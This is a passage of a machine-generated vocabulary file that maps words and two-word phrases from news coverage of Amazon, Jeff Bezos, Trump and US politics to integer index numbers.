\"confidential business\": 129448,\n  \"using ai\": 129449,\n  \"city forever\": 129450,\n  \"agroclimatic variables\": 129451,\n  \"political influence\": 129452,\n  \"consummate instagram\": 129453,\n  \"nurses\": 129454,\n  \"outspoken left\": 129455,\n  \"begin today\": 129456,\n  \"donation bezos\": 129457,\n  \"american state\": 129458,\n  \"commands spokeswoman\": 129459,\n  \"pressphoto agency\": 129460,\n  \"counterfeit handbags\": 129461,\n  \"major european\": 129462,\n  \"northam signed\": 129463,\n  \"tia goldenberg\": 129464,\n  \"challenges abound\": 129465,\n  \"dillard\": 129466,\n  \"magli shoes\": 129467,\n  \"sister korede\": 129468,\n  \"maeve\": 129469,\n  \"trump interfered\": 129470,\n  \"kiichiro sato\": 129471,\n  \"political affiliations\": 129472,\n  \"jpg uri\": 129473,\n  \"retailer took\": 129474,\n  \"gold stars\": 129475,\n  \"strong evidence\": 129476,\n  \"transfix\": 129477,\n  \"signaling\": 129478,\n  \"reasonable multiple\": 129479,\n  \"services developed\": 129480,\n  \"services want\": 129481,\n  \"mueller appears\": 129482,\n  \"benioff notably\": 129483,\n  \"investigating\": 129484,\n  \"pepsico\": 129485,\n  \"tax unanimously\": 129486,\n  \"small sellers\": 129487,\n  \"160b fortune\": 129488,\n  \"burrp\": 129489,\n  \"having vested\": 129490,\n  \"ecommerce margins\": 129491,\n  \"violated international\": 129492,\n  \"loses income\": 129493,\n  \"pledge money\": 129494,\n  \"r4ee m6\": 129495,\n  \"troubles world\": 129496,\n  \"testify virginia\": 129497,\n  \"schreiber\": 129498,\n  \"huh monet\": 129499,\n  \"achtung\": 129500,\n  \"mentioned couple\": 129501,\n  \"failed bid\": 129502,\n  \"reynders\": 129503,\n  \"consequent condemnation\": 129504,\n  \"europe meaning\": 129505,\n  \"lifts\": 129506,\n  \"democrat ted\": 129507,\n  \"streams\": 129508,\n  \"payseno\": 129509,\n  \"snarls\": 129510,\n  \"update claiming\": 129511,\n  \"study ordered\": 129512,\n  \"bomber\": 129513,\n  \"killing legislation\": 129514,\n  \"istanbul consulate\": 129515,\n  \"2016 says\": 129516,\n  \"russian trolls\": 129517,\n  \"new testament\": 129518,\n  \"consumers tilted\": 129519,\n  \"company national\": 129520,\n  \"social relationships\": 129521,\n  \"invention portable\": 129522,\n  \"slamming google\": 129523,\n  \"katya\": 129524,\n  \"547\": 129525,\n  \"corporation amazon\": 129526,\n  \"discussion bezos\": 129527,\n  \"europebriefing\": 129528,\n  \"influential people\": 129529,\n  \"redsteeze\": 129530,\n  \"baltimore facilities\": 129531,\n  \"police custody\": 129532,\n  \"watch ted\": 129533,\n  \"alexa axios\": 129534,\n  \"stalking\": 129535,\n  \"market territory\": 129536,\n  \"bacall\": 129537,\n  \"alito history\": 129538,\n  \"previously saying\": 129539,\n  \"pushing trump\": 129540,\n  \"negative headlines\": 129541,\n  \"boyle latest\": 129542,\n  \"bezos wins\": 129543,\n  \"california police\": 129544,\n  \"coming brands\": 129545,\n  \"transformed mailbox\": 129546,\n  \"night police\": 129547,\n  \"spinal tap\": 129548,\n  \"customers couldn\": 129549,\n  \"story cannabis\": 129550,\n  \"board governor\": 129551,\n  \"source altogether\": 129552,\n  \"claims study\": 129553,\n  \"gawande opinionated\": 129554,\n  \"619\": 129555,\n  \"eye watering\": 129556,\n  \"4q18\": 129557,\n  \"direct assistance\": 129558,\n  \"health information\": 129559,\n  \"riddle\": 129560,\n  \"switch brackets\": 129561,\n  \"wing theory\": 129562,\n  \"academic fellow\": 129563,\n  \"took place\": 129564,\n  \"automotive\": 129565,\n  \"reporters icymi\": 129566,\n  \"amazonfcphil\": 129567,\n  \"tweeted statement\": 129568,\n  \"726 amazon\": 129569,\n  \"gov power\": 129570,\n  \"lynch charlotte\": 129571,\n  \"variable bonuses\": 129572,\n  \"decorum\": 129573,\n  \"ianniello\": 129574,\n  \"ultra modern\": 129575,\n  \"waning fiscal\": 129576,\n  \"agriculture minister\": 129577,\n  \"noir\": 129578,\n  \"transparent implication\": 129579,\n  \"plagued agency\": 129580,\n  \"bled\": 129581,\n  \"sand\": 129582,\n  \"business owned\": 129583,\n  \"mothballed\": 129584,\n  \"major donor\": 129585,\n  \"offers price\": 129586,\n  \"tech earnings\": 129587,\n  \"crushes small\": 129588,\n  \"bezos copy\": 129589,\n  \"dig deep\": 129590,\n  \"actually trump\": 129591,\n  \"service scam\": 129592,\n  \"wilke\": 129593,\n  \"extraordinary plan\": 129594,\n  \"bid anti\": 129595,\n  \"industrial warfare\": 129596,\n  \"official\": 129597,\n  \"help expedite\": 129598,\n  \"independent delivery\": 129599,\n  \"lawsuit attorney\": 129600,\n  \"affirmatively\": 129601,\n  \"usps expansion\": 129602,\n  \"boris epshteyn\": 129603,\n  \"publicity surrounding\": 129604,\n  \"admits changing\": 129605,\n  \"distributed entirely\": 129606,\n  \"exams fed\": 129607,\n  \"little effort\": 129608,\n  \"biting\": 129609,\n  \"mocking trump\": 129610,\n  \"possible obstruction\": 129611,\n  \"martina\": 129612,\n  \"district maps\": 129613,\n  \"ben carson\": 129614,\n  \"worth napolitano\": 129615,\n  \"peter boockvar\": 129616,\n  \"turns ellis\": 129617,\n  \"aws launching\": 129618,\n  \"internet behemoths\": 129619,\n  \"finds new\": 129620,\n  \"founder low\": 129621,\n  \"estate education\": 129622,\n  \"packages despite\": 129623,\n  \"prevent hate\": 129624,\n  \"american deployment\": 129625,\n  \"month house\": 129626,\n  \"ove\": 129627,\n  \"maligns\": 129628,\n  \"awayne3\": 129629,\n  \"league eventually\": 129630,\n  \"taxpayers roger\": 129631,\n  \"update edit\": 129632,\n  \"downgraded amd\": 129633,\n  \"bannon calling\": 129634,\n  \"post slams\": 129635,\n  \"centers ju\": 129636,\n  \"bourdain buttermilk\": 129637,\n  \"advantage amazon\": 129638,\n  \"old ottoman\": 129639,\n  \"people expected\": 129640,\n  \"armed land\": 129641,\n  \"poisoning\": 129642,\n  \"repaired major\": 129643,\n  \"making misleading\": 129644,\n  \"great damage\": 129645,\n  \"extensive documentation\": 129646,\n  \"times published\": 129647,\n  \"jewish \\u00e9migr\\u00e9s\": 129648,\n  \"grown accustomed\": 129649,\n  \"famed forbes\": 129650,\n  \"wrong things\": 129651,\n  \"aafa recommendation\": 129652,\n  \"charged amazon\": 129653,\n  \"convincing narrative\": 129654,\n  \"creativity needed\": 129655,\n  \"isn biased\": 129656,\n  \"onpresident clinton\": 129657,\n  \"donated 637\": 129658,\n  \"banks merge\": 129659,\n  \"cramping margins\": 129660,\n  \"senddonaldtospace bezos\": 129661,\n  \"different reason\": 129662,\n  \"sanchez sold\": 129663,\n  \"road worker\": 129664,\n  \"brennan including\": 129665,\n  \"dc corruption\": 129666,\n  \"bezos given\": 129667,\n  \"italy\": 129668,\n  \"billion loss\": 129669,\n  \"single click\": 129670,\n  \"war russian\": 129671,\n  \"ibm took\": 129672,\n  \"marketwatch rod\": 129673,\n  \"cliff\": 129674,\n  \"strongly advise\": 129675,\n  \"french country\": 129676,\n  \"contracts saying\": 129677,\n  \"wear wire\": 129678,\n  \"citizens want\": 129679,\n  \"reads don\": 129680,\n  \"backlash despite\": 129681,\n  \"giving preference\": 129682,\n  \"india jan\": 129683,\n  \"bait sorry\": 129684,\n  \"cut book\": 129685,\n  \"selling tools\": 129686,\n  \"1542et\": 129687,\n  \"ministers agenda\": 129688,\n  \"vaheesan\": 129689,\n  \"jackie kennedy\": 129690,\n  \"defended prince\": 129691,\n  \"results helped\": 129692,\n  \"prices writes\": 129693,\n  \"forms subsidiary\": 129694,\n  \"paint toronto\": 129695,\n  \"mccabe explained\": 129696,\n  \"e8 c8\": 129697,\n  \"gadgets cloud\": 129698,\n  \"robber\": 129699,\n  \"reporting michael\": 129700,\n  \"emergency toget\": 129701,\n  \"free ride\": 129702,\n  \"coloring\": 129703,\n  \"spending grew\": 129704,\n  \"raised concerns\": 129705,\n  \"illegal fishing\": 129706,\n  \"inflicting\": 129707,\n  \"brenner\": 129708,\n  \"181003125909\": 129709,\n  \"activities undermine\": 129710,\n  \"parade blustery\": 129711,\n  \"ebay sent\": 129712,\n  \"overreaction\": 129713,\n  \"earnings\": 129714,\n  \"emaar properties\": 129715,\n  \"mama\": 129716,\n  \"trump mocking\": 129717,\n  \"unrelated event\": 129718,\n  \"ellison accused\": 129719,\n  \"crashes boeing\": 129720,\n  \"popular resistance\": 129721,\n  \"time employees\": 129722,\n  \"bezos deserves\": 129723,\n  \"disdains trump\": 129724,\n  \"story southern\": 129725,\n  \"spelling wb\": 129726,\n  \"forden\": 129727,\n  \"mono ply\": 129728,\n  \"dismantled trump\": 129729,\n  \"cpac 2019\": 129730,\n  \"existent tax\": 129731,\n  \"forestall sellers\": 129732,\n  \"sounds lot\": 129733,\n  \"political climate\": 129734,\n  \"employees labor\": 129735,\n  \"future implications\": 129736,\n  \"related items\": 129737,\n  \"exchange related\": 129738,\n  \"modest charlotte\": 129739,\n  \"grant provided\": 129740,\n  \"using hindi\": 129741,\n  \"tweets amazon\": 129742,\n  \"ci\": 129743,\n  \"2018 nutanix\": 129744,\n  \"channel library\": 129745,\n  \"depression story\": 129746,\n  \"vinnie favale\": 129747,\n  \"effect sanders\": 129748,\n  \"program ivanka\": 129749,\n  \"capital flows\": 129750,\n  \"axsm sgn\": 129751,\n  \"donating million\": 129752,\n  \"truly witty\": 129753,\n  \"announced delay\": 129754,\n  \"2018 bernie\": 129755,\n  \"employed entrepreneur\": 129756,\n  \"isidore\": 129757,\n  \"hold rathner\": 129758,\n  \"summer despite\": 129759,\n  \"chiefs\": 129760,\n  \"instead say\": 129761,\n  \"internal expertise\": 129762,\n  \"licensed images\": 129763,\n  \"latest trends\": 129764,\n  \"defends trump\": 129765,\n  \"causes grandinetti\": 129766,\n  \"r4ee j6\": 129767,\n  \"platforms better\": 129768,\n  \"siddiqui joining\": 129769,\n  \"purcell executive\": 129770,\n  \"amazon garofolo\": 129771,\n  \"cinemas\": 129772,\n  \"amazon actually\": 129773,\n  \"isn causing\": 129774,\n  \"thebeat\": 129775,\n  \"verify companies\": 129776,\n  \"investors hear\": 129777,\n  \"giant trophy\": 129778,\n  \"north mississippi\": 129779,\n  \"megan\": 129780,\n  \"citing jpmorgan\": 129781,\n  \"confetti\": 129782,\n  \"chopra announced\": 129783,\n  \"timing howard\": 129784,\n  \"amazon men\": 129785,\n  \"extortion claims\": 129786,\n  \"darkness pete\": 129787,\n  \"bezos michael\": 129788,\n  \"bring new\": 129789,\n  \"new investigationsinto\": 129790,\n  \"boom yes\": 129791,\n  \"greer guys\": 129792,\n  \"pac supporting\": 129793,\n  \"jacobs confirmed\": 129794,\n  \"state hourly\": 129795,\n  \"previously calling\": 129796,\n  \"deal tremendous\": 129797,\n  \"1988 abduction\": 129798,\n  \"finally joined\": 129799,\n  \"kremlin agent\": 129800,\n  \"helps establish\": 129801,\n  \"build space\": 129802,\n  \"granted amazon\": 129803,\n  \"recognition service\": 129804,\n  \"supporters stormed\": 129805,\n  \"researcher story\": 129806,\n  \"pay unemployment\": 129807,\n  \"takes credit\": 129808,\n  \"including marin\": 129809,\n  \"specific intention\": 129810,\n  \"successfully represented\": 129811,\n  \"packages thirty\": 129812,\n  \"resarch company\": 129813,\n  \"loose terms\": 129814,\n  \"data companies\": 129815,\n  \"osama\": 129816,\n  \"favorite media\": 129817,\n  \"company board\": 129818,\n  \"tech keeps\": 129819,\n  \"venhuizen paint\": 129820,\n  \"analyst gregg\": 129821,\n  \"volumes flown\": 129822,\n  \"menefee libey\": 129823,\n  \"play dress\": 129824,\n  \"usps low\": 129825,\n  \"000 penalty\": 129826,\n  \"allow states\": 129827,\n  \"zealand shootings\": 129828,\n  \"docked yachts\": 129829,\n  \"school massacre\": 129830,\n  \"2018 sourceassociated\": 129831,\n  \"nyt publishes\": 129832,\n  \"goods 100\": 129833,\n  \"purportedly sent\": 129834,\n  \"pushed provision\": 129835,\n  \"quarter cantillon\": 129836,\n  \"suggests building\": 129837,\n  \"subscription box\": 129838,\n  \"sustainability reporting\": 129839,\n  \"kavanaugh expert\": 129840,\n  \"slab pies\": 129841,\n  \"2016 exactly\": 129842,\n  \"colin\": 129843,\n  \"apriem\": 129844,\n  \"stickers bouncing\": 129845,\n  \"abramson second\": 129846,\n  \"speech activist\": 129847,\n  \"bumped bob\": 129848,\n  \"larger\": 129849,\n  \"miles\": 129850,\n  \"normal human\": 129851,\n  \"face pressure\": 129852,\n  \"wired reached\": 129853,\n  \"trump watch\": 129854,\n  \"packages jeff\": 129855,\n  \"theories sanchez\": 129856,\n  \"grover\": 129857,\n  \"nevada midterms\": 129858,\n  \"brought\": 129859,\n  \"relief fund\": 129860,\n  \"invective\": 129861,\n  \"reviews fr\": 129862,\n  \"wall fence\": 129863,\n  \"increase fossil\": 129864,\n  \"228504 inc_homepage_lineline\": 129865,\n  \"rage amazon\": 129866,\n  \"medical exam\": 129867,\n  \"fashion brand\": 129868,\n  \"whale\": 129869,\n  \"sought financing\": 129870,\n  \"google especially\": 129871,\n  \"approvals required\": 129872,\n  \"fitting chinos\": 129873,\n  \"circulated draft\": 129874,\n  \"nurse costumes\": 129875,\n  \"revenue long\": 129876,\n  \"censorship crimes\": 129877,\n  \"harrer pool\": 129878,\n  \"revenue minus\": 129879,\n  \"fund retiree\": 129880,\n  \"rules offer\": 129881,\n  \"figures dating\": 129882,\n  \"400 ranking\": 129883,\n  \"making additional\": 129884,\n  \"nsa cia\": 129885,\n  \"lastmodifiedtext lastmodifiedstate\": 129886,\n  \"smart speaker\": 129887,\n  \"people overwhelmed\": 129888,\n  \"statement disavowing\": 129889,\n  \"follows british\": 129890,\n  \"wing submerged\": 129891,\n  \"rules saying\": 129892,\n  \"historic election\": 129893,\n  \"administration lashed\": 129894,\n  \"oversight read\": 129895,\n  \"u2x o8\": 129896,\n  \"economists think\": 129897,\n  \"howe calebhowe\": 129898,\n  \"000 strong\": 129899,\n  \"bezos speaking\": 129900,\n  \"texas trump\": 129901,\n  \"bashar assad\": 129902,\n  \"old source\": 129903,\n  \"shares trump\": 129904,\n  \"valuable retailer\": 129905,\n  \"decreasing reported\": 129906,\n  \"jack seiler\": 129907,\n  \"chatter\": 129908,\n  \"food manufacturing\": 129909,\n  \"investigate google\": 129910,\n  \"typically placating\": 129911,\n  \"expands free\": 129912,\n  \"web raises\": 129913,\n  \"green appears\": 129914,\n  \"share according\": 129915,\n  \"including costume\": 129916,\n  \"entertainment reporter\": 129917,\n  \"chris churchill\": 129918,\n  \"ceo entrepreneur\": 129919,\n  \"world asked\": 129920,\n  \"plot unexpectedly\": 129921,\n  \"television personality\": 129922,\n  \"introducing pecker\": 129923,\n  \"searches start\": 129924,\n  \"indexes finished\": 129925,\n  \"theunited states\": 129926,\n  \"jimmy hoffa\": 129927,\n  \"accurate 2020\": 129928,\n  \"dangerous google\": 129929,\n  \"permission don\": 129930,\n  \"budget regardless\": 129931,\n  \"generally hate\": 129932,\n  \"jump analysts\": 129933,\n  \"sceptic claiming\": 129934,\n  \"sat entirely\": 129935,\n  \"little people\": 129936,\n  \"surprise announcement\": 129937,\n  \"phone perfect\": 129938,\n  \"risks new\": 129939,\n  \"higher risk\": 129940,\n  \"iwatch\": 129941,\n  \"team promptly\": 129942,\n  \"extreme wealth\": 129943,\n  \"information administration\": 129944,\n  \"mettler katie\": 129945,\n  \"fund zuker\": 129946,\n  \"cancer cases\": 129947,\n  \"electric water\": 129948,\n  \"beet farming\": 129949,\n  \"wryness\": 129950,\n  \"070 words\": 129951,\n  \"chart attack\": 129952,\n  \"leahy vt\": 129953,\n  \"deregulatory\": 129954,\n  \"nahit\": 129955,\n  \"military veteran\": 129956,\n  \"immigration gun\": 129957,\n  \"suggestion floated\": 129958,\n  \"local businessmen\": 129959,\n  \"nurturing\": 129960,\n  \"court approval\": 129961,\n  \"example gawker\": 129962,\n  \"toxic threads\": 129963,\n  \"01am\": 129964,\n  \"security team\": 129965,\n  \"desserts\": 129966,\n  \"french businessman\": 129967,\n  \"day remains\": 129968,\n  \"rohrwacher neorealism\": 129969,\n  \"soon warns\": 129970,\n  \"satellite office\": 129971,\n  \"berlin oeuvre\": 129972,\n  \"maria sachs\": 129973,\n  \"irving\": 129974,\n  \"manuel\": 129975,\n  \"blogging website\": 129976,\n  \"bezos leans\": 129977,\n  \"encourages players\": 129978,\n  \"ending months\": 129979,\n  \"employ multiple\": 129980,\n  \"preserve amazon\": 129981,\n  \"ireland singapore\": 129982,\n  \"tanakh old\": 129983,\n  \"republicans drew\": 129984,\n  \"kxlf\": 129985,\n  \"kill khashoggi\": 129986,\n  \"divorcing\": 129987,\n  \"sexuality\": 129988,\n  \"escalating\": 129989,\n  \"2017 jerod\": 129990,\n  \"dark agile\": 129991,\n  \"crypto shirt\": 129992,\n  \"seeing healthy\": 129993,\n  \"french laundry\": 129994,\n  \"fiber company\": 129995,\n  \"policies did\": 129996,\n  \"pained\": 129997,\n  \"v8 t8\": 129998,\n  \"neighboring location\": 129999,\n  \"mills rick\": 130000,\n  \"latest videos\": 130001,\n  \"poppy\": 130002,\n  \"trump space\": 130003,\n  \"specific outlets\": 130004,\n  \"specific outcomes\": 130005,\n  \"making baseless\": 130006,\n  \"atkins 11justices\": 130007,\n  \"additional funding\": 130008,\n  \"age tale\": 130009,\n  \"rights activists\": 130010,\n  \"tax time\": 130011,\n  \"samuel curtis\": 130012,\n  \"isvideoreplayclicked false\": 130013,\n  \"r4ee b4e\": 130014,\n  \"haverty absolutely\": 130015,\n  \"service fees\": 130016,\n  \"just walk\": 130017,\n  \"campaign money\": 130018,\n  \"obama makes\": 130019,\n  \"troop border\": 130020,\n  \"2018 spent\": 130021,\n  \"lowry university\": 130022,\n  \"conclusions probably\": 130023,\n  \"greene hale\": 130024,\n  \"good eats\": 130025,\n  \"channel meetings\": 130026,\n  \"mute\": 130027,\n  \"subdued heckling\": 130028,\n  \"consumers online\": 130029,\n  \"watching read\": 130030,\n  \"firm loses\": 130031,\n  \"completely rolled\": 130032,\n  \"classic industrial\": 130033,\n  \"new annadel\": 130034,\n  \"agencies facebook\": 130035,\n  \"bankruptcy bezos\": 130036,\n  \"young men\": 130037,\n  \"vital government\": 130038,\n  \"reporter covering\": 130039,\n  \"long stagnation\": 130040,\n  \"possibly giving\": 130041,\n  \"headquarters soon\": 130042,\n  \"cloud ipo\": 130043,\n  \"koshgarian\": 130044,\n  \"coherent argument\": 130045,\n  \"consumers flock\": 130046,\n  \"recently tried\": 130047,\n  \"377\": 130048,\n  \"industry council\": 130049,\n  \"world health\": 130050,\n  \"discounts coupled\": 130051,\n  \"regarding farrow\": 130052,\n  \"annually\": 130053,\n  \"trump content\": 130054,\n  \"controversies surrounding\": 130055,\n  \"2018 michelle\": 130056,\n  \"ironically referred\": 130057,\n  \"commercial capabilities\": 130058,\n  \"tomay 2018\": 130059,\n  \"situation exemplifies\": 130060,\n  \"b1a1 4450\": 130061,\n  \"point confident\": 130062,\n  \"dunn\": 130063,\n  \"owen brennan\": 130064,\n  \"legal problems\": 130065,\n  \"stat\": 130066,\n  \"stealing water\": 130067,\n  \"km\\u00b2 year\": 130068,\n  \"service trucks\": 130069,\n  \"money today\": 130070,\n  \"speaker\": 130071,\n  \"nimbly\": 130072,\n  \"limiting\": 130073,\n  \"nicolas asfouri\": 130074,\n  \"editing tags\": 130075,\n  \"bryan amazon\": 130076,\n  \"vortex desperate\": 130077,\n  \"comparable twitter\": 130078,\n  \"abelskiver\": 130079,\n  \"juice\": 130080,\n  \"1986 possibly\": 130081,\n  \"simply involved\": 130082,\n  \"managed choreographed\": 130083,\n  \"16th griffeth\": 130084,\n  \"awaiting senate\": 130085,\n  \"youtube algorithm\": 130086,\n  \"networksabout\": 130087,\n  \"affair pointed\": 130088,\n  \"tortoise\": 130089,\n  \"upward\": 130090,\n  \"wee guy\": 130091,\n  \"reid_secondo brown\": 130092,\n  \"service overall\": 130093,\n  \"braindead available\": 130094,\n  \"origin trump\": 130095,\n  \"months claiming\": 130096,\n  \"mendoza\": 130097,\n  \"voters\": 130098,\n  \"right instead\": 130099,\n  \"ap democratic\": 130100,\n  \"technology chiefs\": 130101,\n  \"diario new\": 130102,\n  \"remarkable\": 130103,\n  \"future military\": 130104,\n  \"good david\": 130105,\n  \"ensnares california\": 130106,\n  \"incredulous\": 130107,\n  \"day brings\": 130108,\n  \"reprisals\": 130109,\n  \"explodes\": 130110,\n  \"goods effectively\": 130111,\n  \"yeah gayle\": 130112,\n  \"merger reviews\": 130113,\n  \"private commerce\": 130114,\n  \"bit helps\": 130115,\n  \"mobile\": 130116,\n  \"austrian complicity\": 130117,\n  \"ergonomic\": 130118,\n  \"beijing government\": 130119,\n  \"cheryl richardson\": 130120,\n  \"representatives trump\": 130121,\n  \"tennessee atf\": 130122,\n  \"new facility\": 130123,\n  \"inc_hide_video_prerollflag\": 130124,\n  \"discounted\": 130125,\n  \"kingdom ministry\": 130126,\n  \"salesbut impressive\": 130127,\n  \"service believe\": 130128,\n  \"bloomberg open\": 130129,\n  \"workers seizing\": 130130,\n  \"house beset\": 130131,\n  \"long hey\": 130132,\n  \"alleged extortion\": 130133,\n  \"octopus\": 130134,\n  \"usps fixed\": 130135,\n  \"featured celebrities\": 130136,\n  \"jr using\": 130137,\n  \"page jedi\": 130138,\n  \"executed related\": 130139,\n  \"madness hallucinating\": 130140,\n  \"sunk\": 130141,\n  \"selyukh alina\": 130142,\n  \"improvements job\": 130143,\n  \"added bolsonaro\": 130144,\n  \"hat embraces\": 130145,\n  \"article better\": 130146,\n  \"fully loaded\": 130147,\n  \"economist adam\": 130148,\n  \"trump knows\": 130149,\n  \"competitive amazon\": 130150,\n  \"favorable pr\": 130151,\n  \"included massachusetts\": 130152,\n  \"smartphone google\": 130153,\n  \"personalities\": 130154,\n  \"market selloff\": 130155,\n  \"laughed\": 130156,\n  \"nuclear accord\": 130157,\n  \"activity yeti\": 130158,\n  \"unpaid fees\": 130159,\n  \"exclusive partnership\": 130160,\n  \"just neutral\": 130161,\n  \"california public\": 130162,\n  \"fsu\": 130163,\n  \"planning department\": 130164,\n  \"broader russia\": 130165,\n  \"volunteer\": 130166,\n  \"china wished\": 130167,\n  \"tomlinson\": 130168,\n  \"sales going\": 130169,\n  \"subscriber\": 130170,\n  \"higher state\": 130171,\n  \"protests\": 130172,\n  \"millennium\": 130173,\n  \"estimated return\": 130174,\n  \"market views\": 130175,\n  \"sensitive purchase\": 130176,\n  \"trump building\": 130177,\n  \"rates trump\": 130178,\n  \"iraq conflict\": 130179,\n  \"acrylic purple\": 130180,\n  \"threat pic\": 130181,\n  \"hasn secured\": 130182,\n  \"organized faith\": 130183,\n  \"financial support\": 130184,\n  \"moment started\": 130185,\n  \"jones attorney\": 130186,\n  \"accessibility\": 130187,\n  \"amazon illustrates\": 130188,\n  \"published just\": 130189,\n  \"resolved judges\": 130190,\n  \"kannapell\": 130191,\n  \"amanda lilly\": 130192,\n  \"disappearing middle\": 130193,\n  \"wesleyan university\": 130194,\n  \"acquisition ice\": 130195,\n  \"xcswi4lutq\": 130196,\n  \"world expo\": 130197,\n  \"polio\": 130198,\n  \"produced glossy\": 130199,\n  \"spotlighted\": 130200,\n  \"nosed business\": 130201,\n  \"chamber newly\": 130202,\n  \"shocked copy\": 130203,\n  \"vogt contributed\": 130204,\n  \"usps reassess\": 130205,\n  \"c5 trumpets\": 130206,\n  \"agrees rep\": 130207,\n  \"insured employers\": 130208,\n  \"berkman bottger\": 130209,\n  \"postpones\": 130210,\n  \"precarious position\": 130211,\n  \"viacom cbs\": 130212,\n  \"republican votes\": 130213,\n  \"order blocking\": 130214,\n  \"heffx\": 130215,\n  \"legislative package\": 130216,\n  \"tariffs policies\": 130217,\n  \"standalone youtube\": 130218,\n  \"original tally\": 130219,\n  \"official endorsement\": 130220,\n  \"john cook\": 130221,\n  \"romantic valentine\": 130222,\n  \"millennials youve\": 130223,\n  \"business jeff\": 130224,\n  \"churchgoers\": 130225,\n  \"financial footing\": 130226,\n  \"ft thanks\": 130227,\n  \"costello\": 130228,\n  \"mixes\": 130229,\n  \"authentic products\": 130230,\n  \"just voted\": 130231,\n  \"post opposed\": 130232,\n  \"shakeups\": 130233,\n  \"tom parsons\": 130234,\n  \"discovering problems\": 130235,\n  \"company deductions\": 130236,\n  \"facility safety\": 130237,\n  \"doj officials\": 130238,\n  \"free fair\": 130239,\n  \"received 747\": 130240,\n  \"movie coming\": 130241,\n  \"mirror pic\": 130242,\n  \"japanese anime\": 130243,\n  \"dribble sic\": 130244,\n  \"company properties\": 130245,\n  \"extremist movements\": 130246,\n  \"settled include\": 130247,\n  \"trump stresses\": 130248,\n  \"anonymous anecdotes\": 130249,\n  \"future cnbc\": 130250,\n  \"spokeswoman heather\": 130251,\n  \"benjy sarlin\": 130252,\n  \"future government\": 130253,\n  \"cushion\": 130254,\n  \"consumer sentiment\": 130255,\n  \"mackey\": 130256,\n  \"skidmore\": 130257,\n  \"mds\": 130258,\n  \"landers financial\": 130259,\n  \"helicopter couldn\": 130260,\n  \"governments right\": 130261,\n  \"acquaintance\": 130262,\n  \"provided big\": 130263,\n  \"vast uranium\": 130264,\n  \"zakaria gps\": 130265,\n  \"viewform\": 130266,\n  \"2014 federal\": 130267,\n  \"lure workers\": 130268,\n  \"funded apprenticeship\": 130269,\n  \"favorable operating\": 130270,\n  \"domenech calendar\": 130271,\n  \"supercomers exxonmobil\": 130272,\n  \"nursing home\": 130273,\n  \"rights violators\": 130274,\n  \"league executive\": 130275,\n  \"drops\": 130276,\n  \"talk circuit\": 130277,\n  \"clinton based\": 130278,\n  \"approved tjl\": 130279,\n  \"spanish prime\": 130280,\n  \"submissive\": 130281,\n  \"gained brett\": 130282,\n  \"trump memorandum\": 130283,\n  \"business today\": 130284,\n  \"independent analysis\": 130285,\n  \"2019 enquirer\": 130286,\n  \"deep\": 130287,\n  \"president lack\": 130288,\n  \"old left\": 130289,\n  \"latest clash\": 130290,\n  \"agency reported\": 130291,\n  \"times venezuela\": 130292,\n  \"price estimates\": 130293,\n  \"tm agitation\": 130294,\n  \"drug companies\": 130295,\n  \"giant agreement\": 130296,\n  \"interview axel\": 130297,\n  \"desk jockey\": 130298,\n  \"tv campaign\": 130299,\n  \"political conflict\": 130300,\n  \"fred hank\": 130301,\n  \"biographical bellow\": 130302,\n  \"company pulled\": 130303,\n  \"plows\": 130304,\n  \"declare border\": 130305,\n  \"taxpayers subsidization\": 130306,\n  \"brackets\": 130307,\n  \"incyte corp\": 130308,\n  \"solid holiday\": 130309,\n  \"basically want\": 130310,\n  \"true image\": 130311,\n  \"tjx tjx\": 130312,\n  \"wing liberal\": 130313,\n  \"journal publishing\": 130314,\n  \"artificial scarcities\": 130315,\n  \"nsa customers\": 130316,\n  \"senior political\": 130317,\n  \"mutually\": 130318,\n  \"dignify\": 130319,\n  \"fed negative\": 130320,\n  \"tame swelling\": 130321,\n  \"provider ubhi\": 130322,\n  \"wasteful vanity\": 130323,\n  \"community effort\": 130324,\n  \"remit payments\": 130325,\n  \"introduces cell\": 130326,\n  \"proclaimed business\": 130327,\n  \"170 pound\": 130328,\n  \"holidays online\": 130329,\n  \"new black\": 130330,\n  \"serve amazon\": 130331,\n  \"smile logo\": 130332,\n  \"fallible\": 130333,\n  \"popular policy\": 130334,\n  \"help investors\": 130335,\n  \"trash amazon\": 130336,\n  \"public sexual\": 130337,\n  \"overtime pay\": 130338,\n  \"industrial phosphonate\": 130339,\n  \"trendline\": 130340,\n  \"imposed shares\": 130341,\n  \"greatest innovators\": 130342,\n  \"people collusion\": 130343,\n  \"film manchester\": 130344,\n  \"missile engine\": 130345,\n  \"bank trust\": 130346,\n  \"byron\": 130347,\n  \"consumer complaints\": 130348,\n  \"amazon beats\": 130349,\n  \"industry makes\": 130350,\n  \"amazon logging\": 130351,\n  \"investigations suggested\": 130352,\n  \"film studios\": 130353,\n  \"extraordinarily generous\": 130354,\n  \"leader google\": 130355,\n  \"finalists won\": 130356,\n  \"boycottwalmart began\": 130357,\n  \"past middle\": 130358,\n  \"state measures\": 130359,\n  \"publicized events\": 130360,\n  \"faculty gullium\": 130361,\n  \"trump beef\": 130362,\n  \"grossly underestimated\": 130363,\n  \"versus rates\": 130364,\n  \"cuisine reporter\": 130365,\n  \"nfc\": 130366,\n  \"yiu\": 130367,\n  \"majority owned\": 130368,\n  \"jersey billion\": 130369,\n  \"stem cell\": 130370,\n  \"political messaging\": 130371,\n  \"amused\": 130372,\n  \"storing biometric\": 130373,\n  \"mister deasy\": 130374,\n  \"lawmakers anticipating\": 130375,\n  \"shutdown averting\": 130376,\n  \"carriers gain\": 130377,\n  \"just 115\": 130378,\n  \"project cassell\": 130379,\n  \"legal issues\": 130380,\n  \"vanilla quincy\": 130381,\n  \"biggest issues\": 130382,\n  \"burial ground\": 130383,\n  \"amazon hq2scam\": 130384,\n  \"burst currently\": 130385,\n  \"kindle book\": 130386,\n  \"contractually\": 130387,\n  \"countries don\": 130388,\n  \"graphic tmsnrt\": 130389,\n  \"abha bhattarai\": 130390,\n  \"later bll\": 130391,\n  \"hq2 candidate\": 130392,\n  \"talk kat\": 130393,\n  \"wieser told\": 130394,\n  \"director vmware\": 130395,\n  \"steady growth\": 130396,\n  \"743\": 130397,\n  \"e721hynqb0 michael\": 130398,\n  \"politics a26142277\": 130399,\n  \"dance\": 130400,\n  \"hungry tapeworm\": 130401,\n  \"offer major\": 130402,\n  \"rates imposed\": 130403,\n  \"bezos workers\": 130404,\n  \"stresses mount\": 130405,\n  \"large shippers\": 130406,\n  \"congo photo\": 130407,\n  \"foreign ministers\": 130408,\n  \"cup starts\": 130409,\n  \"garnered 232\": 130410,\n  \"whowould\": 130411,\n  \"americans reduced\": 130412,\n  \"platform data\": 130413,\n  